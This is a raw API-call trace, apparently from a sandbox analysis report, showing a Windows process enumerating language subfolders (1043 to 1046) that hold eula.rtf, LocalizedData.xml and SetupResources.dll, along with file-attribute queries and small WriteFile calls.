	[0071.565] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f)) returned 1
	[0071.565] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.565] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.565] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043" (normalized: "c:\\588bce7c90097ed212\\1043"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.565] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043" (normalized: "c:\\588bce7c90097ed212\\1043"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.565] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0071.565] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.565] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0071.565] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.566] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.566] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.566] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0071.566] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.566] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13712)) returned 1
	[0071.566] WriteFile (in: hFile=0x0, lpBuffer=0xc000218000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.566] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58)) returned 1
	[0071.615] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.615] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda)) returned 1
	[0071.692] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.692] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.692] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044" (normalized: "c:\\588bce7c90097ed212\\1044"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0071.973] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044" (normalized: "c:\\588bce7c90097ed212\\1044"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0071.973] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0071.973] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.974] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0071.974] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0071.974] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0071.974] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0071.974] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0071.974] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0071.974] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0)) returned 1
	[0071.974] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.974] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558)) returned 1
	[0071.974] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.974] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6)) returned 1
	[0071.979] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.979] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0071.979] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045" (normalized: "c:\\588bce7c90097ed212\\1045"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0072.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045" (normalized: "c:\\588bce7c90097ed212\\1045"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0072.045] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0072.046] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.046] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0072.046] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0072.046] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0072.046] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0072.046] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0072.046] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0072.046] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1045\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6)) returned 1
	[0072.046] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.047] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0072.047] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.047] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8)) returned 1
	[0072.047] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.047] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0072.047] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046" (normalized: "c:\\588bce7c90097ed212\\1046"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0072.089] VirtualAlloc (lpAddress=0xc000394000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000394000
	[0072.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046" (normalized: "c:\\588bce7c90097ed212\\1046"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0072.090] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0072.090] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0072.090] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0072.090] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
